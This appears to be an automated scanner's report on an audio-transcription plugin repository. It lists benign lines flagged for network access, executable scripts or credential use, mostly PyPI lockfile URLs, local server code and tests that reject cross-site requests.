    { url = "https://files.pythonhosted.org/packages/05/1a/a851a0f94aaaf379dd4f901bfc80f634280bec51eb260b47363e2a4cd62e/yarl-1.24.5-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:ebb0ec7f178
  • Network accessline 1744
    { url = "https://files.pythonhosted.org/packages/6c/a8/faea066c12f9c77ca0de90641f1655f9dd7b412477bf28c76d692f3aecff/yarl-1.24.5-cp313-cp313-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:82632daed195dc
  • Network accessline 1745
    { url = "https://files.pythonhosted.org/packages/fb/9c/1e67084c2a6e2f2db0e3be798328cb3be42c0119b621d25461479a224d21/yarl-1.24.5-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:53e549287ef
  • Network accessline 1746
    { url = "https://files.pythonhosted.org/packages/58/86/1f94664e147474337e3359f52012cf3d02f825f694317b178bfba1078c62/yarl-1.24.5-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:fcd3b77e2f17bbe4c
  • Network accessline 1747
    { url = "https://files.pythonhosted.org/packages/0a/43/8e55ae7538ba5f28ccb3c845c6dd4549cf7016d5992e5326512519107cdd/yarl-1.24.5-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:d46b86567dd4e2
  • Network accessline 1748
    { url = "https://files.pythonhosted.org/packages/ce/ba/a889ec8765cedcf2ac44dcb02d6a21e4861399b243b263c5f2dde27ee740/yarl-1.24.5-cp313-cp313-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:7f72c74aa99359e27a2ee8d6613fefa28
  • Network accessline 1749
    { url = "https://files.pythonhosted.org/packages/9c/c3/e45f821af67b791c2dbbe4a9f4137a1d33f8d386654a05a0c3f47bdfa25d/yarl-1.24.5-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:3f45789ce415a7ec0820dc4f82925f9b5f7732070be1dec1f5f23ec38
  • Network accessline 1750
    { url = "https://files.pythonhosted.org/packages/02/00/2ab0f42c9857fcb490bfaa6647b14540b53d241ab209f23220b958cc5832/yarl-1.24.5-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:6e73e7fe93f17a7b191f52ec9da9dd8c06a8fe735a1ecbd13b97d1c723
  • Network accessline 1751
    { url = "https://files.pythonhosted.org/packages/7a/70/709d9a286e98af2c7fd8e4e6cada658b5c0e30d87dd7e2a63c2fb5767217/yarl-1.24.5-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:4a36f9becdd4c5c52a20c3e9484128b070b1dcfc8944c006f3a528295
  • Network accessline 1752
    { url = "https://files.pythonhosted.org/packages/5c/6c/3eaa515142991fe84cfc483ff986492211f1978f90161ccefdbec919d09b/yarl-1.24.5-cp313-cp313-musllinux_1_2_riscv64.whl", hash = "sha256:7bcbe0fcf850eae67b6b01749815a4f7161c560a844c769ad7b48fcd9
  • Network accessline 1753
    { url = "https://files.pythonhosted.org/packages/bb/64/711dafce66c323a3144d470547a71c5384c57623308ac8bb5e4b903ac148/yarl-1.24.5-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:24e861e9630e0daddcb9191fb187f60f034e17a4426f8101279f0c475cd
  • Network accessline 1754
    { url = "https://files.pythonhosted.org/packages/cf/f3/9b9d0e6d84bea851eb1ba99e4bdc755b86fd813e49ec86dfe42f26befdef/yarl-1.24.5-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:9335a099ad87287c37fe5d1a982ff392fa5efe5d14b40a730b1ec1d6a4
  • Network accessline 1755
    { url = "https://files.pythonhosted.org/packages/86/e4/62a06b7e87c4246ac76b7c2da136f972eb4a3a1fc94abb07e7022d6fdb0a/yarl-1.24.5-cp313-cp313-win_amd64.whl", hash = "sha256:2dbe06fc16bc91502bca713704022182e5729861ae00277c3a23354b40929740", si
  • Network accessline 1756
    { url = "https://files.pythonhosted.org/packages/9e/c9/5fc8025b318ab10db413b61056bd0d95c557a70e8df4210c7511f866329c/yarl-1.24.5-cp313-cp313-win_arm64.whl", hash = "sha256:6b8536851f9f65e7f00c7a1d49ba7f2be0ffe2c11555367fc9f50d9f842410a1", si
  • Network accessline 1757
    { url = "https://files.pythonhosted.org/packages/61/02/962c1cbfc401a30c1d034dc67ff395f64b52302c6d62de556c1fca99acc0/yarl-1.24.5-py3-none-any.whl", hash = "sha256:a33700d13d9b7d84fd10947b09ff69fb9a792e519c8cb9764a3ca70baa6c23a7", size = 5861

daymade-audio/asr-transcribe-to-text/scripts/fuse_whispercpp_diarization.py

  • Executable scriptline 1
    #!/usr/bin/env python3

daymade-audio/asr-transcribe-to-text/scripts/generate_audit_html.py

  • Executable scriptline 1
    #!/usr/bin/env python3

daymade-audio/asr-transcribe-to-text/scripts/measure_asr.py

  • Executable scriptline 1
    #!/usr/bin/env python3

daymade-audio/asr-transcribe-to-text/scripts/overlap_merge_transcribe.py

  • Executable scriptline 1
    Executable file
  • Network accessline 81
    noproxy_args = ["--noproxy", "*"] if noproxy else []     result = subprocess.run(         ["curl", "-s", "--max-time", "600"] + noproxy_args + [
  • Network accessline 82
    result = subprocess.run(         ["curl", "-s", "--max-time", "600"] + noproxy_args + [             endpoint,
  • Network accessline 168
    parser.add_argument("output", help="Output text file")     parser.add_argument("--config", help="Path to config.json (from CLAUDE_PLUGIN_DATA)")     parser.add_argument("--endpoint", default="http://localhost:8002/v1/audio/transcriptions", 
  • Network accessline 169
    parser.add_argument("--config", help="Path to config.json (from CLAUDE_PLUGIN_DATA)")     parser.add_argument("--endpoint", default="http://localhost:8002/v1/audio/transcriptions", help="ASR endpoint URL")     parser.add_argument("--model",
  • Network accessline 170
    parser.add_argument("--endpoint", default="http://localhost:8002/v1/audio/transcriptions", help="ASR endpoint URL")     parser.add_argument("--model", default="Qwen/Qwen3-ASR-1.7B", help="Model name")     parser.add_argument("--noproxy", ac

daymade-audio/asr-transcribe-to-text/scripts/prepare_asr_input.py

  • Executable scriptline 1
    #!/usr/bin/env python3

daymade-audio/asr-transcribe-to-text/scripts/resolve_media_input.py

  • Executable scriptline 1
    Executable file
  • Network accessline 158
    def request(url: str, method: str = "GET") -> urllib.request.Request:
  • Network accessline 159
    return urllib.request.Request(url, method=method, headers={"User-Agent": USER_AGENT})
  • Network accessline 162
    def open_url(url: str, method: str = "GET", timeout: int = 30):     return urllib.request.urlopen(request(url, method), timeout=timeout)
  • Network accessline 163
    return urllib.request.urlopen(request(url, method), timeout=timeout)

daymade-audio/asr-transcribe-to-text/scripts/review-workbench/prepare_project.py

  • Executable scriptline 1
    #!/usr/bin/env python3

daymade-audio/asr-transcribe-to-text/scripts/review-workbench/server.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 947
    return 2     host = f"[{args.host}]" if ":" in args.host else args.host     url = f"http://{host}:{server.server_port}/"
  • Network accessline 948
    host = f"[{args.host}]" if ":" in args.host else args.host     url = f"http://{host}:{server.server_port}/"     print(f"Audio review workbench: {url}", flush=True)
  • Network accessline 949
    url = f"http://{host}:{server.server_port}/"

daymade-audio/asr-transcribe-to-text/scripts/review-workbench/static/app.js

  • Executable scriptline 1
    Executable file
  • Network accessline 63
    } async function fetchJSON(url,options={}) {   const response=await fetch(url,{cache:'no-store',...options});
  • Network accessline 64
    async function fetchJSON(url,options={}) {   const response=await fetch(url,{cache:'no-store',...options});   let data;
  • Network accessline 65
    const response=await fetch(url,{cache:'no-store',...options});

daymade-audio/asr-transcribe-to-text/scripts/review-workbench/static/styles.css

  • Network accessline 4
    .workbench{display:grid;grid-template-columns:266px minmax(460px,1fr) 270px;height:calc(100dvh - 214px);min-height:430px}.navigation-panel{display:flex;flex-direction:column;border-right:1px solid var(--line);min-height:0;background:#eeeee5

daymade-audio/asr-transcribe-to-text/scripts/review-workbench/tests/test_client_integrity.cjs

  • Executable scriptline 1
    #!/usr/bin/env node
  • Network accessline 28
    function deferredServer(){   const requests=[];let state={fingerprint:fp,revision:0,decisions:{}};   const fetch=(url,options)=>new Promise(resolve=>requests.push({url,body:JSON.parse(options.body),commit(){state={...state,revision:state.re
  • Network accessline 29
    const requests=[];let state={fingerprint:fp,revision:0,decisions:{}};   const fetch=(url,options)=>new Promise(resolve=>requests.push({url,body:JSON.parse(options.body),commit(){state={...state,revision:state.revision+1,decisions:{...state.
  • Network accessline 30
    const fetch=(url,options)=>new Promise(resolve=>requests.push({url,body:JSON.parse(options.body),commit(){state={...state,revision:state.revision+1,decisions:{...state.decisions,turn:{...state.decisions.turn,...this.body.changes}}};resolve(
  • Network accessline 107
    const a=app(async(url,options)=>{     if(url==='/api/state')return response({fingerprint:fp,revision:2,decisions:{}});     requests.push(JSON.parse(options.body));
  • Network accessline 108
    if(url==='/api/state')return response({fingerprint:fp,revision:2,decisions:{}});     requests.push(JSON.parse(options.body));     if(first){first=false;throw new Error('Synthetic lost response');}
  • Network accessline 109
    requests.push(JSON.parse(options.body));

daymade-audio/asr-transcribe-to-text/scripts/review-workbench/tests/test_frontend.cjs

  • Executable scriptline 1
    #!/usr/bin/env node
  • Network accessline 48
    const app=application(async(url,options)=>{     if(url==='/api/state')return {ok:true,json:async()=>latest};     const request=JSON.parse(options.body);requests.push(request);
  • Network accessline 49
    if(url==='/api/state')return {ok:true,json:async()=>latest};     const request=JSON.parse(options.body);requests.push(request);     if(first){first=false;throw new Error('Response lost after commit');}
  • Network accessline 50
    const request=JSON.parse(options.body);requests.push(request);

daymade-audio/asr-transcribe-to-text/scripts/review-workbench/tests/test_playback.cjs

  • Executable scriptline 1
    #!/usr/bin/env node
  • Network accessline 92
    }   function descriptor(url) {     const params=new URL(url,'http://synthetic.invalid').searchParams;
  • Network accessline 93
    function descriptor(url) {     const params=new URL(url,'http://synthetic.invalid').searchParams;     const project=JSON.parse(run('JSON.stringify(view.project)'));
  • Network accessline 94
    const params=new URL(url,'http://synthetic.invalid').searchParams;
  • Network accessline 109
    setTimeout(fn, ms){const id=++nextTimer; timers.set(id,{fn,ms}); return id;},     clearTimeout(id){timers.delete(id);}, localStorage:{setItem(){},getItem(){return null;}},     async fetch(url,options){
  • Network accessline 110
    clearTimeout(id){timers.delete(id);}, localStorage:{setItem(){},getItem(){return null;}},     async fetch(url,options){       if(!url.startsWith('/api/clip?'))throw new Error('Only synthetic clip descriptors are allowed');
  • Network accessline 111
    async fetch(url,options){

daymade-audio/asr-transcribe-to-text/scripts/review-workbench/tests/test_prepare_project.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 5
    import copy import csv import http.client
  • Network accessline 6
    import csv import http.client import importlib.util
  • Network accessline 7
    import http.client
  • Network accessline 274
    thread.start()             try:                 connection = http.client.HTTPConnection("127.0.0.1", server.server_port, timeout=3)
  • Network accessline 275
    try:                 connection = http.client.HTTPConnection("127.0.0.1", server.server_port, timeout=3)                 connection.request("GET", "/api/project")
  • Network accessline 276
    connection = http.client.HTTPConnection("127.0.0.1", server.server_port, timeout=3)

daymade-audio/asr-transcribe-to-text/scripts/review-workbench/tests/test_server.py

  • Executable scriptline 1
    Executable file
  • Network accessline 3
    import copy import csv import http.client
  • Network accessline 4
    import csv import http.client import importlib.util
  • Network accessline 5
    import http.client
  • Network accessline 79
    raw = json.dumps(payload, ensure_ascii=False).encode()             request_headers.setdefault("Content-Type", "application/json")         connection = http.client.HTTPConnection("127.0.0.1", self.server.server_port, timeout=3)
  • Network accessline 80
    request_headers.setdefault("Content-Type", "application/json")         connection = http.client.HTTPConnection("127.0.0.1", self.server.server_port, timeout=3)         try:
  • Network accessline 81
    connection = http.client.HTTPConnection("127.0.0.1", self.server.server_port, timeout=3)
  • Network accessline 304
    thread.start()         try:             connection = http.client.HTTPConnection("::1", server.server_port, timeout=3)
  • Network accessline 305
    try:             connection = http.client.HTTPConnection("::1", server.server_port, timeout=3)             try:
  • Network accessline 306
    connection = http.client.HTTPConnection("::1", server.server_port, timeout=3)
  • Network accessline 380
    self.assertEqual(self.decision(item_id="absent", status="unknown")[0], 400)         payload = {"project_fingerprint": self.project.fingerprint, "base_revision": 0, "request_id": "cross-site", "item_id": "line-1", "changes": {"status": "unkn
  • Network accessline 381
    payload = {"project_fingerprint": self.project.fingerprint, "base_revision": 0, "request_id": "cross-site", "item_id": "line-1", "changes": {"status": "unknown"}}         self.assertEqual(self.api("POST", "/api/decision", payload, {"Origin"
  • Network accessline 382
    self.assertEqual(self.api("POST", "/api/decision", payload, {"Origin": "https://example.org"})[0], 403)         self.assertEqual(self.api("POST", "/api/decision", payload, {"Host": "attacker.example"})[0], 403)         self.assertEqual(self

daymade-audio/asr-transcribe-to-text/scripts/review-workbench/tests/test_server_integrity.py

  • Executable scriptline 1
    Executable file

daymade-audio/asr-transcribe-to-text/scripts/speaker_time_contract.py

  • Executable scriptline 1
    Executable file

daymade-audio/asr-transcribe-to-text/scripts/speaker_transcribe.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 82
    1. Accept the model terms (free account):        https://hf.co/pyannote/speaker-diarization-3.1
  • Network accessline 83
    https://hf.co/pyannote/speaker-diarization-3.1
  • Network accessline 84
    (also accept https://hf.co/pyannote/segmentation-3.0 if prompted)
  • Access to secretsline 86
    [Credential-related source omitted]
  • Network accessline 93
    Output is plain text only — NO speaker labels.     To enable speaker labels permanently:       1. Accept terms: https://hf.co/pyannote/speaker-diarization-3.1
  • Network accessline 94
    [Credential-related source omitted]
  • Network accessline 95
    1. Accept terms: https://hf.co/pyannote/speaker-diarization-3.1
  • Access to secretsline 96
    [Credential-related source omitted]
  • Access to secretsline 668
    [Credential-related source omitted]
  • Access to secretsline 686
    [Credential-related source omitted]

daymade-audio/asr-transcribe-to-text/scripts/speaker_transcribe.py.lock

  • Network accessline 18
    name = "aiohappyeyeballs" version = "2.7.1" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 19
    version = "2.7.1" source = { registry = "https://pypi.org/simple/" } sdist = { url = "https://files.pythonhosted.org/packages/ce/f4/eec0465c2f67b2664688d0240b3212d5196fd89e741df67ddb81f8d35658/aiohappyeyeballs-2.7.1.tar.gz", hash = "sha256:
  • Network accessline 20
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 21
    sdist = { url = "https://files.pythonhosted.org/packages/ce/f4/eec0465c2f67b2664688d0240b3212d5196fd89e741df67ddb81f8d35658/aiohappyeyeballs-2.7.1.tar.gz", hash = "sha256:065665c041c42a5938ed220bdcd7230f22527fbec085e1853d2402c8a3615d9d", si
  • Network accessline 22
    wheels = [     { url = "https://files.pythonhosted.org/packages/71/43/1947f06babed6b3f1d7f38b0c767f52df66bfb2bc10b468c4a7de9eceff2/aiohappyeyeballs-2.7.1-py3-none-any.whl", hash = "sha256:9243213661e29250eb41368e5daa826fc017156c3b8a11440826
  • Network accessline 23
    { url = "https://files.pythonhosted.org/packages/71/43/1947f06babed6b3f1d7f38b0c767f52df66bfb2bc10b468c4a7de9eceff2/aiohappyeyeballs-2.7.1-py3-none-any.whl", hash = "sha256:9243213661e29250eb41368e5daa826fc017156c3b8a11440826b2e3ed376472", 
  • Network accessline 27
    name = "aiohttp" version = "3.14.3" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 28
    version = "3.14.3" source = { registry = "https://pypi.org/simple/" } dependencies = [
  • Network accessline 29
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 37
    { name = "yarl" }, ] sdist = { url = "https://files.pythonhosted.org/packages/58/d9/22ce5786ac0c1653ae8b6c23bded02c1686d11f0dbb45b31ce128e0df985/aiohttp-3.14.3.tar.gz", hash = "sha256:9491196535a88924a60afd5b5f434b5b203b6cc616250878dbdb223a
  • Network accessline 38
    ] sdist = { url = "https://files.pythonhosted.org/packages/58/d9/22ce5786ac0c1653ae8b6c23bded02c1686d11f0dbb45b31ce128e0df985/aiohttp-3.14.3.tar.gz", hash = "sha256:9491196535a88924a60afd5b5f434b5b203b6cc616250878dbdb223a8f7844bc", size = 7
  • Network accessline 39
    sdist = { url = "https://files.pythonhosted.org/packages/58/d9/22ce5786ac0c1653ae8b6c23bded02c1686d11f0dbb45b31ce128e0df985/aiohttp-3.14.3.tar.gz", hash = "sha256:9491196535a88924a60afd5b5f434b5b203b6cc616250878dbdb223a8f7844bc", size = 797
  • Network accessline 40
    wheels = [     { url = "https://files.pythonhosted.org/packages/57/be/5afd201cc0ab139029aadb75392efe85a293403d9dd3a3226161c21ce00c/aiohttp-3.14.3-cp313-cp313-android_21_arm64_v8a.whl", hash = "sha256:2e9878ae68e4a5f1c0abe4dd497dbc3d51946f58
  • Network accessline 41
    { url = "https://files.pythonhosted.org/packages/57/be/5afd201cc0ab139029aadb75392efe85a293403d9dd3a3226161c21ce00c/aiohttp-3.14.3-cp313-cp313-android_21_arm64_v8a.whl", hash = "sha256:2e9878ae68e4a5f1c0abe4dd497dbc3d51946f5837b56759e2a02e7
  • Network accessline 42
    { url = "https://files.pythonhosted.org/packages/22/09/dec8189d62b45ade009f6792a2264b942a90cb88aeaf181239933cd72c3c/aiohttp-3.14.3-cp313-cp313-android_21_x86_64.whl", hash = "sha256:f3d2669fe7dec7fc359ecdb5984b29b50d85d5d00f8c1cb61de4f4a24e
  • Network accessline 43
    { url = "https://files.pythonhosted.org/packages/28/24/2854869d29ed8a8b19d74f9ec6629515f7e04d02dd329d9d179201e58e47/aiohttp-3.14.3-cp313-cp313-ios_13_0_arm64_iphoneos.whl", hash = "sha256:cc7cb243a68167172f48c1fd43cee91ec4b1d40cefd190edd433
  • Network accessline 44
    { url = "https://files.pythonhosted.org/packages/d4/dd/57187c8be2a35aea65eaee3bd2c3dcbbcf0204f5106c89637e3610380cd1/aiohttp-3.14.3-cp313-cp313-ios_13_0_arm64_iphonesimulator.whl", hash = "sha256:78253b573e6ffab5028924fc98bc281aae05445969982
  • Network accessline 45
    { url = "https://files.pythonhosted.org/packages/b9/11/06ae6ed8f0d414edf4068861e233d8fe23ee699bfd4b3ceb8663db948a62/aiohttp-3.14.3-cp313-cp313-ios_13_0_x86_64_iphonesimulator.whl", hash = "sha256:7041d52c3a7fa20c9e8c182b534704abb19502c8bdcb
  • Network accessline 46
    { url = "https://files.pythonhosted.org/packages/7e/a3/559639c34a345d2cf7c52dff6838119f2eaf29eb508227b5b83f573af813/aiohttp-3.14.3-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:ac74facc01463f138b0da5580329cfcc82818dea5656e83ddcd1
  • Network accessline 47
    { url = "https://files.pythonhosted.org/packages/91/cd/41e131f13afd1e7b0172a9d9eda085ef90eb8439f41f0d279db81ed3ae60/aiohttp-3.14.3-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:d6218d92e450824e9b4881f44e8c09f1853b490f9a64130801024a47
  • Network accessline 48
    { url = "https://files.pythonhosted.org/packages/bc/6b/e7f13410d391c6e55b4c007a8de024355389d7d459e3d64c42b2d33617e5/aiohttp-3.14.3-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:11fb37ef075669eee52ab1928fbf6e1741fada40409fa309ebde9607a9
  • Network accessline 49
    { url = "https://files.pythonhosted.org/packages/97/21/6464573e53d69672cc1eada3e5c5cb2d2efa82701e8305a0f2047a576967/aiohttp-3.14.3-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:55bdcc47
  • Network accessline 50
    { url = "https://files.pythonhosted.org/packages/1a/81/d217043a4c17fbce360905e3b2bdd20139ebc9a2de836d035d179c4da006/aiohttp-3.14.3-cp313-cp313-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:c39846c3aad
  • Network accessline 51
    { url = "https://files.pythonhosted.org/packages/a1/66/e13a02d0eeb1a9a502402a977abb4e4abff9fe4051c26f80558c57a7c975/aiohttp-3.14.3-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:5895ef58
  • Network accessline 52
    { url = "https://files.pythonhosted.org/packages/26/5e/57d42fca1d18cb5acc1cad945d017fabc5d6ae71d8a08ad66be8dc3ee544/aiohttp-3.14.3-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:fa9467a8113aa6
  • Network accessline 53
    { url = "https://files.pythonhosted.org/packages/ca/1c/7da8d08e74d56f00070822f9638ff3f1c563f8ad87d1efa996c87bfc8644/aiohttp-3.14.3-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:d7d2deec16e
  • Network accessline 54
    { url = "https://files.pythonhosted.org/packages/cd/0f/cf16bcf56896981c1a0319f5d5db9337994b5165730c48a8fa07e9b34be6/aiohttp-3.14.3-cp313-cp313-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:dd54d0e8717de95939766febac482a
  • Network accessline 55
    { url = "https://files.pythonhosted.org/packages/fe/6f/76eac12a7f2480e1e304f842efdb07db33256b0d9165b866b6ef0806c202/aiohttp-3.14.3-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:df82f3787c940c94986b34222d59c9e38843fba85139f36e85255a
  • Network accessline 56
    { url = "https://files.pythonhosted.org/packages/39/b6/19c8c592baeeb94b75f966547d40c02ac7590902306ec5863d5c027cf506/aiohttp-3.14.3-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:42a67efc36300d052fb4508a53e8b6901b9284b599ae63945c37756
  • Network accessline 57
    { url = "https://files.pythonhosted.org/packages/dc/c9/4e9383150296f97f873b680c4de8fb2cd88608fb9f48c79edcb111611abc/aiohttp-3.14.3-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:7a75aa63cbf9b21cfaf60dc2657e19df2c2867d91707d653fee171
  • Network accessline 58
    { url = "https://files.pythonhosted.org/packages/aa/1e/147bdc6cc5de5f3ab011be8bf5d6e786633249f22c20bae06f85e45f5387/aiohttp-3.14.3-cp313-cp313-musllinux_1_2_riscv64.whl", hash = "sha256:e92eb8acc45eb6a9f4935071a77edf5b85cc6f8dfad5cd99e97653
  • Network accessline 59
    { url = "https://files.pythonhosted.org/packages/fd/31/78388a9d6040ece2e11df62ea229a822cf5e52d238374b220ae9975b2623/aiohttp-3.14.3-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:b014a6ed7cf912e787149fdc529166d3ceabac23f26efeea3158c9ab
  • Network accessline 60
    { url = "https://files.pythonhosted.org/packages/03/51/a3d29fdf2c25d796746af8ad6fe56a45d6256c38b0a8a2ed752e1160b3a2/aiohttp-3.14.3-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:3d4f72af88ac2474bb5bca640030320e3d38a0163a1d7533500e87b
  • Network accessline 61
    { url = "https://files.pythonhosted.org/packages/29/a6/442e18b5afeade534d877a2dc3c3e392aff8d49787890b0cf84790410267/aiohttp-3.14.3-cp313-cp313-win32.whl", hash = "sha256:5f08ec777f35ee70720233b8b9811d3bb5d728137f30ac91b7457709c3261ac0", siz
  • Network accessline 62
    { url = "https://files.pythonhosted.org/packages/9d/69/3d876ac02659f271cf7f6769f14a8e3de5b6e888ed8b5a7e998086a4cec8/aiohttp-3.14.3-cp313-cp313-win_amd64.whl", hash = "sha256:dff9461ec275f22135650d5ba4b4931a11f3958df7dfbb8db630000d4dee0883",
  • Network accessline 63
    { url = "https://files.pythonhosted.org/packages/b2/0e/50d6e6471cd31edce8b282bdec59375a3a69124d8a989a0b1313355cae52/aiohttp-3.14.3-cp313-cp313-win_arm64.whl", hash = "sha256:ddcac3c6b382e81f1dd0499199d4136b877beb4cb5ef770bbbfba56c4b8f55d2",
  • Network accessline 67
    name = "aiosignal" version = "1.4.0" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 68
    version = "1.4.0" source = { registry = "https://pypi.org/simple/" } dependencies = [
  • Network accessline 69
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 71
    { name = "frozenlist" }, ] sdist = { url = "https://files.pythonhosted.org/packages/61/62/06741b579156360248d1ec624842ad0edf697050bbaf7c3e46394e106ad1/aiosignal-1.4.0.tar.gz", hash = "sha256:f47eecd9468083c2029cc99945502cb7708b082c232f9aca6
  • Network accessline 72
    ] sdist = { url = "https://files.pythonhosted.org/packages/61/62/06741b579156360248d1ec624842ad0edf697050bbaf7c3e46394e106ad1/aiosignal-1.4.0.tar.gz", hash = "sha256:f47eecd9468083c2029cc99945502cb7708b082c232f9aca65da147157b251c7", size = 
  • Network accessline 73
    sdist = { url = "https://files.pythonhosted.org/packages/61/62/06741b579156360248d1ec624842ad0edf697050bbaf7c3e46394e106ad1/aiosignal-1.4.0.tar.gz", hash = "sha256:f47eecd9468083c2029cc99945502cb7708b082c232f9aca65da147157b251c7", size = 25
  • Network accessline 74
    wheels = [     { url = "https://files.pythonhosted.org/packages/fb/76/641ae371508676492379f16e2fa48f4e2c11741bd63c48be4b12a6b09cba/aiosignal-1.4.0-py3-none-any.whl", hash = "sha256:053243f8b92b990551949e63930a839ff0cf0b0ebbe0597b0f3fb19e1a0
  • Network accessline 75
    { url = "https://files.pythonhosted.org/packages/fb/76/641ae371508676492379f16e2fa48f4e2c11741bd63c48be4b12a6b09cba/aiosignal-1.4.0-py3-none-any.whl", hash = "sha256:053243f8b92b990551949e63930a839ff0cf0b0ebbe0597b0f3fb19e1a0fe82e", size = 
  • Network accessline 79
    name = "alembic" version = "1.19.1" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 80
    version = "1.19.1" source = { registry = "https://pypi.org/simple/" } dependencies = [
  • Network accessline 81
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 85
    { name = "typing-extensions" }, ] sdist = { url = "https://files.pythonhosted.org/packages/16/2b/e4153978368de59918115c9e01d3ebf58a558a7285efa7e960c383c4b59a/alembic-1.19.1.tar.gz", hash = "sha256:e0fca0518118c78acc493e31bcb5402f190057aaf6d
  • Network accessline 86
    ] sdist = { url = "https://files.pythonhosted.org/packages/16/2b/e4153978368de59918115c9e01d3ebf58a558a7285efa7e960c383c4b59a/alembic-1.19.1.tar.gz", hash = "sha256:e0fca0518118c78acc493e31bcb5402f190057aaf6df8b5b95ce94c4789cf648", size = 2
  • Network accessline 87
    sdist = { url = "https://files.pythonhosted.org/packages/16/2b/e4153978368de59918115c9e01d3ebf58a558a7285efa7e960c383c4b59a/alembic-1.19.1.tar.gz", hash = "sha256:e0fca0518118c78acc493e31bcb5402f190057aaf6df8b5b95ce94c4789cf648", size = 207
  • Network accessline 88
    wheels = [     { url = "https://files.pythonhosted.org/packages/20/89/e62cc37b69ad357cc8ecd6e7367f5245f523d3cbb338a66197212bdf6749/alembic-1.19.1-py3-none-any.whl", hash = "sha256:b39018cb3d9413a19cbd54cf3c02ad33998641f0538eb77413a488a21c3e
  • Network accessline 89
    { url = "https://files.pythonhosted.org/packages/20/89/e62cc37b69ad357cc8ecd6e7367f5245f523d3cbb338a66197212bdf6749/alembic-1.19.1-py3-none-any.whl", hash = "sha256:b39018cb3d9413a19cbd54cf3c02ad33998641f0538eb77413a488a21c3e14be", size = 2
  • Network accessline 93
    name = "anyio" version = "4.14.2" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 94
    version = "4.14.2" source = { registry = "https://pypi.org/simple/" } dependencies = [
  • Network accessline 95
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 97
    { name = "idna" }, ] sdist = { url = "https://files.pythonhosted.org/packages/61/cc/a381afa6efea9f496eff839d4a6a1aed3bfafc7b3ab4b0d1b243a12573dd/anyio-4.14.2.tar.gz", hash = "sha256:cfa139f3ed1a23ee8f88a145ddb5ac7605b8bbfd8592baacd7ce3d8bb4
  • Network accessline 98
    ] sdist = { url = "https://files.pythonhosted.org/packages/61/cc/a381afa6efea9f496eff839d4a6a1aed3bfafc7b3ab4b0d1b243a12573dd/anyio-4.14.2.tar.gz", hash = "sha256:cfa139f3ed1a23ee8f88a145ddb5ac7605b8bbfd8592baacd7ce3d8bb4313c7f", size = 260
  • Network accessline 99
    sdist = { url = "https://files.pythonhosted.org/packages/61/cc/a381afa6efea9f496eff839d4a6a1aed3bfafc7b3ab4b0d1b243a12573dd/anyio-4.14.2.tar.gz", hash = "sha256:cfa139f3ed1a23ee8f88a145ddb5ac7605b8bbfd8592baacd7ce3d8bb4313c7f", size = 26017
  • Network accessline 100
    wheels = [     { url = "https://files.pythonhosted.org/packages/da/35/f2287558c17e29fafc8ef3daf819bb9834061cfa43bff8014f7df7f63bdc/anyio-4.14.2-py3-none-any.whl", hash = "sha256:9f505dda5ac9f0c8309b5e8bd445a8c2bf7246f3ce950121e45ea15bc41d14
  • Network accessline 101
    { url = "https://files.pythonhosted.org/packages/da/35/f2287558c17e29fafc8ef3daf819bb9834061cfa43bff8014f7df7f63bdc/anyio-4.14.2-py3-none-any.whl", hash = "sha256:9f505dda5ac9f0c8309b5e8bd445a8c2bf7246f3ce950121e45ea15bc41d1494", size = 125
  • Network accessline 105
    name = "asteroid-filterbanks" version = "0.4.0" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 106
    version = "0.4.0" source = { registry = "https://pypi.org/simple/" } dependencies = [
  • Network accessline 107
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 111
    { name = "typing-extensions" }, ] sdist = { url = "https://files.pythonhosted.org/packages/90/fa/5c2be1f96dc179f83cdd3bb267edbd1f47d08f756785c016d5c2163901a7/asteroid-filterbanks-0.4.0.tar.gz", hash = "sha256:415f89d1dcf2b13b35f03f7a9370968
  • Network accessline 112
